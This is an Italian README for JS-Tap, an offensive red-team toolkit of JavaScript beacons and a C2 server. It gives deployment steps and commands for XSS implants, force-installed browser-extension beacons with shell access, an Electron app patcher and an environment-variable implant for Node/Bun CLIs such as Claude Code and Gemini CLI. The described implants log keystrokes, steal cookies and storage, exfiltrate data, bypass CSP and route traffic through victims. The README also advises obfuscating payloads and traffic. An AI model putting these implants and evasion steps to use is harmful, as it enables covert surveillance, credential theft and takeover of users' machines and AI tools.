
Beacon JavaScript e C2 da utilizzare per payload XSS o impianti di post-sfruttamento su server webapp o software desktop per monitorare gli utenti e mantenere la persistenza. Sono inclusi impianti per estensione del browser, app Electron e app Node/Bun.
Le modifiche principali sono documentate negli annunci del progetto:
https://github.com/hoodoer/JS-Tap/discussions/categories/announcements
Puoi leggere il post originale del blog su JS-Tap qui:
https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams
Breve demo da ShmooCon di JS-Tap versione 1:
https://youtu.be/IDLMMiqV6ss?si=XunvnVarqSIjx_x0&t=19814
Demo di JS-Tap versione 2 a HackSpaceCon, inclusi C2 e come usarlo come impianto post-sfruttamento:
https://youtu.be/aWvNLJnqObQ?t=11719
Demo del generatore automatico di payload, utilizza i post di moduli intercettati e il traffico di rete JavaScript come modello per generare payload C2 personalizzati:
https://www.youtube.com/watch?v=cU915mxLfTo
Demo a CactusCon della v2 inclusa la funzionalità mimic:
https://youtu.be/O7-zxAmP13o?si=gchYwOJksutCCUPH
Demo dei Beacons v3, codice beta:
https://youtu.be/-esrfSHqZeo
Non ho intenzione di creare script di migrazione per il database, e gli incrementi di versione spesso comportano modifiche allo schema del database (controlla i changelog). Dovresti probabilmente eliminare il tuo database jsTap.db durante gli aggiornamenti di versione. Se hai payload personalizzati nel tuo server JS-Tap, assicurati di esportarli prima di eliminare i file del database.
JS-Tap è un toolkit offensivo basato su JavaScript per red team. È iniziato come un payload JavaScript generico per attaccare applicazioni web tramite XSS o impianto post-sfruttamento, ed è cresciuto fino a includere estensioni browser e impianti per app desktop Electron — tutti che riportano a un singolo server C2.
Il payload non richiede che l'utente target che esegue il payload sia autenticato all'applicazione attaccata, e non richiede alcuna conoscenza preliminare dell'applicazione oltre a trovare un modo per introdurre il JavaScript nell'applicazione.
Invece di attaccare il server applicativo stesso, il payload JS-Tap si concentra sul lato client dell'applicazione e strumenta pesantemente il codice lato client. Un sistema C2 permette di aggiungere e eseguire payload JavaScript personalizzati come task sui client JS-Tap, fornendo un mezzo per attaccare direttamente il server applicativo. Per facilitare una transizione più rapida all'attacco al server, JS-Tap ora include una funzionalità 'mimic' per generare automaticamente payload personalizzati e passarli al sistema C2.
Il payload DOM Beacon di esempio è contenuto nel file telemlib.js nella directory payloads, tuttavia qualsiasi file in questa directory viene servito senza autenticazione, quindi puoi servire più payload con configurazioni diverse che targettizzano diverse applicazioni contemporaneamente.
Copia il file telemlib.js con il nome che desideri e modifica la configurazione secondo necessità. Questo file non è stato offuscato. Prima di utilizzarlo in un impegno, valuta seriamente di modificare la denominazione degli endpoint, rimuovere i commenti e offuscare pesantemente il payload. Di default l'applicazione utilizza endpoint API piuttosto ovvi (es. /loot/screenshot), in Impostazioni App puoi attivare l'offuscamento del traffico.
Assicurati di rivedere attentamente la sezione configurazione qui sotto prima di utilizzarlo su un server esposto pubblicamente.
JS-Tap ha cinque tipi di beacon/agenti che si connettono allo stesso server:
Tutti e cinque riportano allo stesso portale server JS-Tap, dove il bottino viene visualizzato e i comandi C2 vengono impartiti.
Il portale include anche due strumenti di clonazione della sessione:
| Strumento | Cosa Fa |
|---|---|
| Browser Proxy |
DOM Beacon Standalone: Il payload DOM Beacon (telemlib.js) funziona indipendentemente. Inietta tramite XSS o impiantalo nei file JS del target. Chiama il server JS-Tap da solo.
BEX Beacon come dropper: Il BEX Beacon monitora la navigazione e raccoglie intelligence passiva (cookie, localStorage, sessionStorage, intestazioni delle richieste, navigazione). Dal portale JS-Tap, puoi comandare al beacon di iniettare un DOM Beacon in un dominio specifico. Il DOM Beacon generato da un BEX Beacon ottiene screenshot di alta qualità tramite l'API captureVisibleTab dell'estensione (la modalità "BEX-Assist").
Sidecar per accesso OS: Quando installato, il binario Sidecar dà al BEX Beacon accesso al sistema operativo sottostante. I comandi vengono inviati dal portale JS-Tap, relayati attraverso il canale criptato del beacon al binario nativo, e i risultati vengono rispediti. Questo trasforma un'estensione browser in un punto d'appoggio per l'accesso al filesystem e l'esecuzione di comandi.
Browser Proxy per navigazione in tempo reale: L'operatore configura il proprio browser per utilizzare il proxy JS-Tap e tutto il traffico HTTP/HTTPS viene instradato attraverso il browser della vittima in tempo reale. Il proxy esegue la terminazione MITM TLS (con una CA generata automaticamente) così l'operatore può navigare siti HTTPS. Il proxy è un "tubo stupido" — inoltra esattamente ciò che il browser dell'operatore invia. Per navigazione autenticata, combinalo con un Session Ticket: JS-Tap Conductor inietta i cookie, le intestazioni e lo User-Agent della vittima nel browser dell'operatore, il proxy MITM li inoltra al beacon, e il beacon recupera dalla rete della vittima. Questo dà all'operatore una sessione autenticata dall'indirizzo IP della vittima. BEX, Atom e V8 Beacon supportano tutti la modalità proxy.
Atom Beacon per app Electron: Il patcher atomize.py modifica l'archivio ASAR di un'app Electron per iniettare l'agente Atom Beacon. All'avvio, l'agente si registra con il server JS-Tap, avvia la comunicazione C2 criptata e inietta automaticamente payload renderer in ogni BrowserWindow che l'app crea. L'agente del processo principale fornisce accesso OS nativo (filesystem, esecuzione comandi) mentre i payload renderer raccolgono dati a livello DOM (digitazioni, input, form, cookie, storage, chiamate di rete). Poiché gira all'interno del processo principale di Electron con pieno accesso Node.js, non ha bisogno di un binario sidecar separato — navigazione del filesystem, lettura di file e comandi shell sono integrati.
Nota: la capacità di ricevere copie delle chiamate API XHR e Fetch funziona in modalità trap. In modalità impianto attualmente solo l'API Fetch può essere copiata. L'intercettazione delle sottomissioni di moduli può talvolta essere persa in modalità impianto.
browser.cookies.getAll(), con metadati: httpOnly, secure, sameSite, path, domain, expiration)Agente del processo principale (runtime Node.js):
session.cookies (inclusi httpOnly, con metadati)webRequest.onBeforeSendHeaderswebRequest.onHeadersReceiveddesktopCapturer di Electron (cattura l'output composito GPU)Payload renderer (iniettati in tutte le finestre dell'app):
document.cookie, monitoraggio delle modifiche)process.stdin (bufferizzata in stringhe leggibili, svuotata ogni 2 secondi o su Invio)Il payload DOM Beacon ha due modalità operative. Se la modalità è trap o implant è impostata nella funzione initGlobals(), cerca la variabile window.taperMode.
La modalità trap è tipicamente la modalità che useresti come payload XSS. L'esecuzione dei payload XSS è spesso fugace, l'utente che visualizza la pagina dove viene eseguito il payload JavaScript malevolo potrebbe chiudere la scheda del browser (la pagina non è interessante) o navigare altrove nell'applicazione. In entrambi i casi, il payload verrà eliminato dalla memoria e smetterà di funzionare. JS-Tap deve funzionare a lungo o non raccoglierai dati utili.
La modalità trap combatte questo stabilendo una persistenza utilizzando una tecnica di iFrame trap. Il payload JS-Tap creerà un iFrame a tutta pagina e avvierà l'utente altrove nell'applicazione. Questa pagina di partenza deve essere configurata in anticipo. Nella funzione initGlobals() cerca la variabile window.taperstartingPage e impostala su una posizione di partenza appropriata nell'applicazione target.
In modalità trap JS-Tap monitora la posizione dell'utente nell'iframe trap e spoofa la barra degli indirizzi del browser per corrispondere alla posizione dell'iframe.
Nota che l'applicazione target deve permettere l'iFrame da same-origin o self se imposta intestazioni CSP o X-Frame-Options. I framebuster basati su JavaScript possono anche impedire il funzionamento degli iFrame trap.
Nota, ho avuto buona fortuna usando la Modalità Trap come impianto post-sfruttamento in posizioni molto specifiche di un'applicazione, o quando non sono sicuro di quali risorse l'applicazione stia usando all'interno della sezione autenticata dell'applicazione. Puoi mettere un impianto nella pagina di login, con modalità trap e la pagina di partenza della modalità trap impostata a window.location.href (cioè la posizione corrente). La trap si attiverà quando l'utente visita la pagina di login, e si spera continui nelle porzioni autenticate dell'applicazione all'interno dell'iframe trap.
Un utente che aggiorna la pagina generalmente rompe/esce dall'iframe trap.
La modalità impianto verrebbe tipicamente utilizzata se stai aggiungendo direttamente il payload nell'applicazione target. Forse hai una shell sul server che ospita i file JavaScript per l'applicazione. Aggiungi il payload a un file JavaScript che viene utilizzato in tutta l'applicazione (jQuery, main.js, ecc.). Quale file sia ideale dipende davvero dall'app in questione e da come sta utilizzando i file JavaScript. La modalità impianto non richiede una pagina di partenza da configurare e non utilizza la tecnica dell'iframe trap.
Un utente che aggiorna la pagina in modalità impianto generalmente continuerà a eseguire il payload JS-Tap.
La modalità impianto è più probabile che funzioni con le applicazioni poiché non coinvolge tutto il codice di persistenza iframe extra.
Il BEX Beacon è una versione estensione browser di JS-Tap. Serve due scopi principali:
Il BEX Beacon utilizza comunicazione criptata a livello applicativo (AES-GCM) con il server JS-Tap. Tutte le telemetrie e le risposte ai task sono criptate end-to-end attraverso un singolo endpoint, rendendo il traffico di rete più difficile da fingerprintare.
Il beacon include anche funzionalità come la rimozione delle intestazioni CSP/X-Frame-Options (tramite regole declarativeNetRequest) per facilitare l'iniezione di JS-Tap in ambienti restrittivi. Per target che utilizzano tag <meta http-equiv="Content-Security-Policy"> (che non possono essere rimossi tramite regole sulle intestazioni poiché sono incorporati nell'HTML), il BEX Beacon utilizza un approccio di iniezione in bundle — telemlib.js è impacchettato all'interno dell'estensione e iniettato tramite chrome.scripting.executeScript({ files }), che bypassa completamente la CSP a livello di pagina attraverso il meccanismo di iniezione privilegiato delle estensioni del browser.
Quando abbinato all'host di messaggistica nativa opzionale Sidecar, il BEX Beacon ottiene accesso a livello OS sulla macchina target. Vedi la sezione Sidecar qui sotto.
Il Atom Beacon è un impianto per applicazioni desktop Electron. Opera come un agente a doppio strato — un agente del processo principale privilegiato con pieno accesso al runtime Node.js, più payload renderer iniettati automaticamente in ogni BrowserWindow che l'app crea.
A differenza della combinazione BEX Beacon + Sidecar, l'Atom Beacon non ha bisogno di un binario nativo separato per l'accesso OS — le operazioni sul filesystem, l'esecuzione di comandi e la cattura di screenshot sono tutte integrate nell'agente del processo principale utilizzando le API Node.js.
L'Atom Beacon utilizza lo stesso protocollo di comunicazione criptata del BEX Beacon (crittografia AES-GCM su un singolo endpoint, con scambio di chiavi RSA-OAEP). Si registra come tipo di client distinto (atom-beacon) e appare nella vista Apps insieme ai DOM Beacon.Funzionalità principali:
webContents.executeJavaScript(), incluse le finestre create dopo l'avvio iniziale. I payload del renderer catturano sequenze di tasti, input, moduli, cookie, storage, URL, HTML e chiamate di rete XHR/Fetch.desktopCapturer di Electron, che produce catture pixel-perfect inclusi contenuti compositi GPU. Supporta la cattura manuale (tramite UI del portale), la cattura automatica euristica (al focus della finestra, navigazione e nuove finestre) e periodi di raffreddamento configurabili.webRequest.onBeforeSendHeaders e le intestazioni delle risposte tramite webRequest.onHeadersReceived a livello di sessione Electron.session.cookies.get().Vedi Atom Beacon (Patch di app Electron) di seguito per configurazione e utilizzo.
Il V8 Beacon è un impianto per applicazioni a riga di comando basate su Node.js e Bun. A differenza dell'Atom Beacon che richiede la patch dell'archivio ASAR di un'app, il V8 Beacon si inietta tramite variabili d'ambiente — non è necessaria alcuna modifica dell'applicazione target.
Runtime supportati:
export NODE_OPTIONS="--require /path/to/v8-beacon.js" (testato con Gemini CLI e altri strumenti Node.js)export BUN_OPTIONS="--preload /path/to/v8-beacon.js" (testato con Claude Code)Il beacon utilizza lo stesso protocollo di comunicazione crittografato dei BEX e Atom Beacons (crittografia AES-GCM su un singolo endpoint, con scambio di chiavi RSA-OAEP). Si registra come tipo di client v8-beacon e appare nella vista Nodes nel portale.
Funzionalità principali:
http.request, https.request, globalThis.fetch e http2.connect per catturare tutte le chiamate di rete in uscita con corpi richiesta/risposta completi, intestazioni e codici di stato. Le risposte in streaming SSE (utilizzate da API AI come l'API Messages di Anthropic e l'API Gemini di Google) vengono catturate mediante diramazione del flusso di risposta. Le risposte compresse Gzip vengono decompresse automaticamente.process.stdin a più livelli (push, emit, tty.ReadStream, readline) per catturare l'input dell'utente. Le sequenze di tasti vengono bufferizzate in stringhe leggibili e inviate ogni 2 secondi (o immediatamente al tasto Invio).Vedi V8 Beacon (App CLI Node.js / Bun) di seguito per configurazione e utilizzo.
JS-Tap impiega tre metodi distinti per acquisire screenshot:
Usato di default negli impianti DOM Beacon. Tenta di ricostruire la pagina come elemento canvas ed esportarla come immagine. Funziona bene per la maggior parte dei siti ma può avere difficoltà con app moderne complesse (come Reddit) o immagini cross-origin.
Quando un impianto DOM Beacon viene generato da un BEX Beacon, ottiene l'accesso alle API browser di alto livello dell'estensione. In questa modalità, l'impianto chiede al beacon di scattare lo screenshot utilizzando chrome.tabs.captureVisibleTab. Ciò risulta in una cattura pixel-perfect di alta qualità che bypassa tutte le limitazioni CSS/DOM di html2canvas. Questa è la modalità raccomandata per target complessi.
L'Atom Beacon utilizza l'API desktopCapturer di Electron per catturare screenshot delle finestre. Questo acquisisce l'uscita effettiva della finestra composita GPU, producendo screenshot pixel-perfect di app Electron complesse (Slack, VS Code, Discord, ecc.). Gli screenshot possono essere attivati manualmente dal portale, o automaticamente tramite euristiche configurabili (cambi di focus della finestra, eventi di navigazione, creazione di nuove finestre).
Richiede python3. Un gran numero di dipendenze sono richieste per jsTapServer, si consiglia vivamente di utilizzare ambienti virtuali python per isolare le librerie del software server (o qualsiasi altro metodo di isolamento preferito).
Esempio:``` mkdir jsTapEnvironment python3 -m venv jsTapEnvironment source jsTapEnvironment/bin/activate cd jsTapEnvironment git clone https://github.com/hoodoer/JS-Tap cd JS-Tap pip3 install -r requirements.txt
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365 -nodes
python3 jsTapServer.py #or
./jstapRun.sh
Il server genera automaticamente una password admin casuale a ogni avvio e la stampa nella console. Le credenziali vengono anche salvate in `adminCreds.txt` nella directory principale del progetto. Durante lo sviluppo/test, è sicuro eliminare `jsTap.db` tra un'esecuzione e l'altra — si rigenera automaticamente all'avvio.
### Compilazione (Build Unificata)
Lo script di build unificata nella directory principale del progetto gestisce tutto: la compilazione delle estensioni per Chrome e Firefox, il loro impacchettamento per il deployment, la compilazione incrociata opzionale del binario sidecar e la produzione di bundle di deploy autonomi che puoi copiare sulle macchine di destinazione.
#### Prerequisiti
- **Node.js** (per le build delle estensioni WXT e l'impacchettamento .crx)
- **Go** (1.21+) — necessario solo se sidecar è abilitato
- **Python 3**
#### Avvio Rapido
1. Configura `bex-beacon/config.json` (vedi [Configurazione](#bex-beacon-configuration-configjson) qui sotto).
2. Installa le dipendenze Node (solo la prima volta):```bash
cd bex-beacon && npm install && cd ..
Questo crea estensioni Chrome MV3 e Firefox MV2, le impacchetta come `.crx`/`.xpi`, cross-compila i binari sidecar (se abilitato) e genera bundle di distribuzione. Lo script di build incrementa automaticamente il numero di versione patch dell'estensione ad ogni build (es. `2.1.5` → `2.1.6`) in `bex-beacon/config.json` per garantire che i meccanismi di installazione forzata del browser (criteri aziendali Chrome/Edge) raccolgano le build aggiornate.
#### Build Flags
| Flag | Effetto |
|---|---|
| `--ext-only` | Crea solo estensioni, salta sidecar |
| `--sidecar-only` | Crea solo sidecar, salta estensioni |
| `--legacy` | Crea anche estensioni legacy (da `src-chrome-extension/` e `src-firefox-extension/`) |
#### Build Output```
build/
chrome-mv3/ # Unpacked Chrome extension (for development)
firefox-mv2/ # Unpacked Firefox extension (for development)
extension.crx # Packed Chrome extension (if key.pem configured)
extension.xpi # Packed Firefox extension
sidecar/ # Sidecar binaries + manifests (when enabled)
deploy/ # Self-contained deploy bundles
chrome-linux.tar.gz
chrome-mac.tar.gz
chrome-windows.zip
chromium-linux.tar.gz
chromium-mac.tar.gz
firefox-linux.tar.gz
firefox-mac.tar.gz
firefox-windows.zip
Per l'uso in produzione, dovresti generare una coppia di chiavi statica in modo che l'ID dell'estensione Chrome sia deterministico tra le build. Questo è necessario affinché i manifest di messaggistica nativa del sidecar autorizzino l'estensione corretta.```bash
openssl genrsa 2048 > key.pem
openssl rsa -in key.pem -pubout -outform DER | base64 -w0
Aggiungi l'output base64 a `extension_ids.chrome_key` e imposta `extension_ids.chrome_key_pem` su `key.pem` in `bex-beacon/config.json`. Lo script di build calcolerà e verificherà automaticamente l'ID dell'estensione Chrome di 32 caratteri.
Gli ID delle estensioni Firefox vengono impostati direttamente tramite `extension_ids.firefox_extension_id` (ad es. `bex-beacon@jstap`).
### Distribuzione sui Target
Ogni bundle di distribuzione è un **archivio autonomo** — un singolo file da copiare sul target.
**Flusso di lavoro:**
1. Copia l'archivio appropriato sul target (ad es. `chrome-linux.tar.gz`)
2. Estrailo
3. Esegui lo script di installazione```bash
# Linux/macOS
tar xzf chrome-linux.tar.gz
cd chrome-linux
./install.sh
# Windows
# Extract chrome-windows.zip, then run:
install.bat
Cosa fanno gli script di installazione:
Quando il sidecar è abilitato, gli script di installazione installano anche il binario sidecar e scrivono il manifest dei messaggi nativi nella posizione corretta specifica per browser/OS. L'installazione del sidecar è a livello utente (non richiede sudo).
Dettagli di installazione Chrome/Chromium (Linux):
ExtensionSettings con modalità force_installed)/opt/jstap//etc/chromium/policies/managed/ (Chromium) o /etc/opt/chrome/policies/managed/ (Chrome)Dettagli di installazione Chrome/Chromium (macOS):
/Library/Application Support/JSTap/Ogni pacchetto di deploy include uno script di disinstallazione (uninstall.sh o uninstall.bat) che rimuove pulitamente tutto ciò che lo script di installazione ha distribuito.```bash
./uninstall.sh
uninstall.bat
**Cosa rimuovono gli script di disinstallazione:**
| Componente | Cosa viene rimosso |
|---|---|
| **Estensione Chrome/Chromium** (Linux) | JSON dei criteri aziendali + CRX + manifest di aggiornamento dalle directory di sistema (richiede `sudo`) |
| **Estensione Chrome/Chromium** (macOS) | JSON dell'estensione esterna + CRX dalle directory di sistema (richiede `sudo`) |
| **Estensione Chrome** (Windows) | Voce di registro + file dell'estensione da `%LOCALAPPDATA%\JSTap` |
| **Estensione Firefox** | `.xpi` dalla directory `extensions/` del profilo Firefox |
| **Sidecar** (quando presente) | Binario da `~/.local/bin/`, JSON del manifest di messaggistica nativa e voci di registro (Windows) |
Dopo la disinstallazione, riavvia il browser affinché le modifiche abbiano effetto.
#### Utilizzo in sviluppo
Per sviluppo e test, puoi saltare i pacchetti di distribuzione e caricare le estensioni direttamente:
- **Chrome:** `chrome://extensions` -> Abilita Modalità sviluppatore -> Carica estensione non pacchettizzata -> seleziona `build/chrome-mv3/`
- **Firefox:** `about:debugging` -> Questo Firefox -> Carica componente aggiuntivo temporaneo -> seleziona un file qualsiasi all'interno di `build/firefox-mv2/`
### Sidecar (Host di messaggistica nativa)
Il Sidecar è **opzionale**. È un binario Go che comunica con il BEX Beacon tramite l'API di messaggistica nativa del browser per fornire accesso a livello di sistema operativo (navigazione file, lettura file, esecuzione comandi).
#### Abilitazione e compilazione
1. Imposta `sidecar.enabled: true` in `bex-beacon/config.json`
2. Configura gli ID delle estensioni in `extension_ids` (vedi [ID estensione statici](#static-extension-ids) sopra)
3. Esegui la build unificata:```bash
python3 buildAll.py
Lo script di build sincronizza automaticamente gli ID delle estensioni dalla configurazione centrale a sidecar/config.json, cross-compila i binari del sidecar per tutte le piattaforme e include il binario corretto in ogni pacchetto di distribuzione.
Se hai bisogno di ricostruire solo il sidecar senza ricostruire le estensioni:```bash python3 buildAll.py --sidecar-only
Oppure costruiscilo direttamente (se non esiste una configurazione locale, ricadrà sulla lettura di `../bex-beacon/config.json`):```bash
cd sidecar
python3 buildSidecar.py
Per iterazioni di test durante lo sviluppo, utilizzare lo script di disinstallazione specifico per il sidecar per rimuovere il binario e tutti i manifesti di messaggistica nativa:```bash ./sidecar/uninstall.sh
Questo rimuove il binario da `~/.local/bin/` e il JSON di manifest da tutte le directory dei manifest di Chrome/Firefox (Linux e macOS).
Per i sistemi distribuiti, utilizzare invece `uninstall.sh` o `uninstall.bat` del bundle — rimuove sia l'estensione che il sidecar in un unico passaggio. Vedi [Disinstallazione](#uninstalling) sopra.
#### Come Funziona Sidecar```
JS-Tap Portal UI
│ POST /api/sidecar/command
▼
JS-Tap Server (queues SIDECAR_COMMAND task)
│ Beacon polls on heartbeat
▼
BEX Beacon (background service worker)
│ browser.runtime.connectNative()
▼
Sidecar Go Binary (native messaging, stdio)
│ Executes command, returns result
▼
BEX Beacon (encrypts result, sends to server)
│ POST /client/metrics/<uuid>
▼
JS-Tap Server (stores SidecarResult)
│ UI polls GET /api/sidecar/result/<requestId>
▼
JS-Tap Portal UI (displays result)
La comunicazione tra il beacon e il binario sidecar utilizza il protocollo di messaggistica nativa: ogni messaggio è preceduto da una lunghezza di 4 byte in little-endian, seguita da un payload JSON.
Comandi Sidecar:
L'impianto beacon Atom viene iniettato in applicazioni desktop Electron utilizzando il patcher atomize.py. Modifica l'archivio ASAR dell'app (o la directory dell'app decompressa) per anteporre il codice dell'agente al punto di ingresso del processo principale.
resources/app.asar o resources/app/ dell'appSu Linux e macOS, atomize.py può essere eseguito direttamente con Python 3. Su Windows, Python potrebbe non essere installato. È possibile creare un atomize.exe autonomo utilizzando PyInstaller:```bash
cd atom-beacon
pip install pyinstaller
pyinstaller atomize.spec
Questo produce `dist/atomize.exe` — un eseguibile a file singolo che raggruppa Python, la libreria ASAR e i file del payload. Non è necessaria alcuna installazione di Python sulla macchina Windows di destinazione. L'utilizzo è identico alla versione Python:```
atomize.exe --detect-only C:\Users\target\AppData\Local\slack\app-4.40.0
atomize.exe --server https://10.0.0.1:8444 C:\Users\target\AppData\Local\slack\app-4.40.0
Nota: PyInstaller può solo compilare per il sistema operativo su cui è in esecuzione. Per creare un
.exeper Windows, esegui PyInstaller su una macchina Windows (o su una macchina virtuale/runner CI Windows).
Risoluzione dei problemi di pip su Windows:
Se pip non è riconosciuto su Windows ma python funziona, usa python -m pip invece:```
python -m pip install pyinstaller
Se `pyinstaller` non viene trovato dopo l'installazione, usa `python -m PyInstaller` (sensibile al caso):```
python -m PyInstaller atomize.spec
Se pip stesso non è disponibile, assicurati che Python sia stato installato con la casella "Add Python to PATH" selezionata. Puoi anche avviare pip manualmente:``` python -m ensurepip --upgrade
#### Analisi di un Target
Prima della patch, usa `--detect-only` per analizzare la struttura, le impostazioni di sicurezza e lo stato della firma del codice dell'app target:```bash
cd atom-beacon
python3 atomize.py --detect-only /Applications/Slack.app
Questo riporta:
package.json)cd atom-beacon python3 atomize.py --server https://10.0.0.1:8444 /Applications/Slack.app
Opzioni:
| Flag | Descrizione |
|---|---|
| `--server URL` | URL del server JS-Tap (richiesto per il patching) |
| `--tag TAG` | Etichetta client, mostrata nel portale (default: `atom`) |
| `--detect-only` | Analizza senza applicare patch |
| `--no-backup` | Salta la creazione di un backup `.bak` dell'ASAR originale |
| `--output PATH` | Scrivi l'ASAR modificato in un percorso diverso invece che sul posto |
Il patcher automaticamente:
- Individua `app.asar` o `app/` all'interno dei bundle `.app` (macOS), directory `resources/` (Linux/Windows), o accetta percorsi diretti
- Crea un backup `.bak` prima di modificare (a meno che non venga specificato `--no-backup`)
- Rileva e rimuove le patch esistenti prima di riapplicare
- Genera un prefisso IPC unico per ogni patch per evitare collisioni
- Incorpora il payload del renderer come costante stringa all'interno dell'agente (iniezione a file singolo)
#### Note post-patch
| Piattaforma | Note |
|---|---|
| **macOS** | La firma del codice viene invalidata. Se l'app mostra un avviso di "danneggiato", esegui `xattr -cr /path/to/App.app` o ri-firma con `codesign --force --deep --sign - /path/to/App.app`. |
| **Windows** | SmartScreen potrebbe avvisare al download iniziale, ma le app già installate non vengono verificate di nuovo. Il patching in-place funziona senza problemi. |
| **Linux** | Nessun controllo della firma del codice. L'app modificata funziona normalmente. |
#### Disimballaggio (Ripristino)
Per ripristinare un'app modificata, ripristina il file `.bak`:```bash
cp /path/to/resources/app.asar.bak /path/to/resources/app.asar
Target Electron App (patched) │ app.asar main entry point ▼ Atom Beacon Agent (main process, Node.js) │ Registers with JS-Tap server │ RSA-OAEP key exchange → AES-GCM encrypted channel ▼ Heartbeat Loop (jittered interval) ├── Poll for tasks (screenshot commands, shell commands, etc.) ├── Flush renderer data (keystrokes, inputs, cookies, storage, network calls) ├── Exfiltrate queued data (encrypted, single endpoint) └── Report status (tracked windows, host info)
Renderer Injection (automatic) │ webContents.executeJavaScript() on every BrowserWindow ▼ Renderer Payload (per-window) ├── Keylogger (keydown capture, debounced flush) ├── Input/Form capture ├── Cookie/localStorage/sessionStorage monitoring ├── URL tracking (including SPA navigation) ├── XHR/Fetch monkey-patching └── HTML source capture
L'agente comunica con il server attraverso lo stesso endpoint crittografato utilizzato dai BEX Beacon (`POST /client/metrics/<uuid>`). Tutti i dati sono crittografati con AES-GCM utilizzando chiavi stabilite durante la registrazione.
#### Utilizzo del Pannello Strumenti (Atom Beacon)
Quando un client Atom Beacon è selezionato nel portale, il pannello **Strumenti** fornisce:
**Pannello Proxy del Browser** — Avvia/ferma il proxy, scarica il certificato CA e genera ticket proxy. Le richieste vengono instradate attraverso il contesto di rete dell'app Electron.
**Scheda Esplora File** — Esplora il filesystem di destinazione e legge i file, identico al file browser BEX Sidecar ma eseguito nativamente nel processo Electron.
**Scheda Shell** — Esegue comandi sul target, identico alla shell BEX Sidecar ma eseguita nativamente tramite `child_process` di Node.js.
**Scheda Screenshot** — Solo Atom Beacon. Fornisce:
- Pulsante **Cattura Ora** per screenshot manuali su richiesta
- **Euristiche di cattura automatica** — interruttori configurabili per trigger automatici di screenshot:
- *Cattura al focus della finestra* — screenshot quando l'utente passa da una finestra all'altra
- *Cattura alla navigazione* — screenshot durante la navigazione delle pagine (inclusa navigazione SPA come il cambio canale in Slack)
- *Cattura alla nuova finestra* — screenshot quando l'app apre una nuova finestra
- **Cooldown** — secondi minimi tra catture automatiche per finestra (previene il flood)
La cattura automatica utilizza trigger debounced — per la navigazione SPA, lo screenshot viene scattato 3 secondi dopo l'ultimo evento di navigazione/cambio titolo, assicurando che venga catturato il contenuto della pagina di arrivo e non quella di partenza.
Il badge del pannello Strumenti mostra **Integrato** per i client Atom Beacon (poiché l'accesso al sistema operativo è nativo per l'agente, non dipende da un binario sidecar esterno).
### V8 Beacon (App CLI Node.js / Bun)
L'impianto V8 Beacon viene iniettato nelle applicazioni CLI Node.js e Bun tramite variabili d'ambiente. Non è richiesta alcuna patch o modifica dell'applicazione target.
#### Costruzione del Beacon```bash
cd v8-beacon
python3 v8ize.py --server https://10.0.0.1:8444 --tag gemini
Options:
| Flag | Descrizione |
|---|---|
--server URL | URL del server JS-Tap (obbligatorio) |
--tag TAG | Tag client, mostrato nel portale (predefinito: v8) |
Questo genera un file v8-beacon.js autonomo con l'URL del server e il tag incorporati.
Per applicazioni Node.js (Gemini CLI, OpenCode, strumenti Node.js personalizzati, ecc.):```bash export NODE_OPTIONS="--require /path/to/v8-beacon.js" gemini # or any Node.js CLI tool
**Per le applicazioni Bun** (Claude Code, ecc.):```bash
export BUN_OPTIONS="--preload /path/to/v8-beacon.js"
claude # or any Bun-based CLI tool
Puoi impostare entrambe le variabili d'ambiente simultaneamente per coprire entrambi i runtime:```bash export NODE_OPTIONS="--require /path/to/v8-beacon.js" export BUN_OPTIONS="--preload /path/to/v8-beacon.js"
Il beacon si carica prima del codice dell'applicazione stessa e inizia a strumentare il runtime. L'applicazione target funziona normalmente — il beacon è invisibile all'utente.
#### Come Funziona```
Target CLI Application (e.g. claude, gemini)
│ --require / --preload loads v8-beacon.js
▼
V8 Beacon Agent (same process)
│ Registers with JS-Tap server
│ RSA-OAEP key exchange → AES-GCM encrypted channel
▼
Heartbeat Loop (jittered interval)
├── Poll for tasks (shell commands, file browser, proxy start/stop, plugins, etc.)
├── Flush captured data (network calls, keystrokes)
├── Exfiltrate queued data (encrypted, single endpoint)
└── Report status (host info, capabilities, proxy state)
Network Hooks (automatic)
├── http.request / https.request (monkey-patched)
├── globalThis.fetch (monkey-patched)
├── http2.connect (monkey-patched)
└── Module._load intercept for node-fetch
Stdin Hooks (automatic)
├── process.stdin.push / emit
├── tty.ReadStream.prototype.push
└── readline.createInterface
Alcuni strumenti CLI si avviano come processi figli. Ad esempio, Gemini CLI esegue l'autenticazione nel processo padre, poi avvia un processo figlio node gemini per la sessione interattiva (dove avvengono le chiamate API effettive).
Il V8 Beacon gestisce questo automaticamente:
__V8_BEACON_ACTIVE e __V8_BEACON_RUNTIME__V8_BEACON_UUID, __V8_BEACON_SENDKEY, __V8_BEACON_RECVKEY)npm, npx, yarn, tsc, eslint, ecc.) vengono sempre saltatiCiò significa che una sessione di Gemini CLI con processi padre + figli appare come un singolo client nel portale con tutti gli eventi unificati.
Quando un client V8 Beacon è selezionato nel portale (sotto la scheda Nodi), il pannello Strumenti fornisce:
Pannello Proxy del Browser — Avvia/ferma il proxy, scarica il certificato CA e genera ticket proxy. Le richieste vengono instradate attraverso il contesto di rete del processo Node.js/Bun.
Scheda Esplora File — Esplora il file system del target e legge i file, identico agli esploratori file di BEX Sidecar e Atom Beacon.
Scheda Shell — Esegue comandi sul target tramite child_process di Node.js.
Il badge del pannello Strumenti mostra Built-in (l'accesso al sistema operativo è nativo dell'agente).
| Applicazione | Runtime | Stato |
|---|---|---|
| Gemini CLI | Node.js | Intercettazione completa della rete (incluse le SSE streamGenerateContent), keylogging, accesso a file/shell |
| Claude Code | Bun 1.3.10 | Intercettazione completa della rete (incluse le SSE in streaming), keylogging, accesso a file/shell |
Se stai eseguendo JS-Tap con lo script jsTapServer.py in modalità a thread singolo (ottima per test/demo), ci sono opzioni di configurazione direttamente nello script jsTapServer.py.
Per l'uso in produzione, JS-Tap dovrebbe essere ospitato su un server pubblico con un certificato SSL valido da qualcuno come letsencrypt. Il modo più semplice per distribuire questo è permettere a NGINX di agire come front-end per JS-Tap e gestire il certificato letsencrypt, e poi inoltrare il traffico decifrato a JS-Tap come traffico HTTP in locale (cioè NGINX e JS-Tap eseguiti sullo stesso VPS).
Se imposti proxyMode su true, il server JS-Tap funzionerà in modalità HTTP e prenderà l'indirizzo IP del client dall'intestazione X-Forwarded-For, che NGINX deve essere configurato per impostare.
Quando proxyMode è impostato su false, JS-Tap funzionerà con un certificato autofirmato, utile per i test. L'IP del client sarà preso dall'IP sorgente del client che si connette.
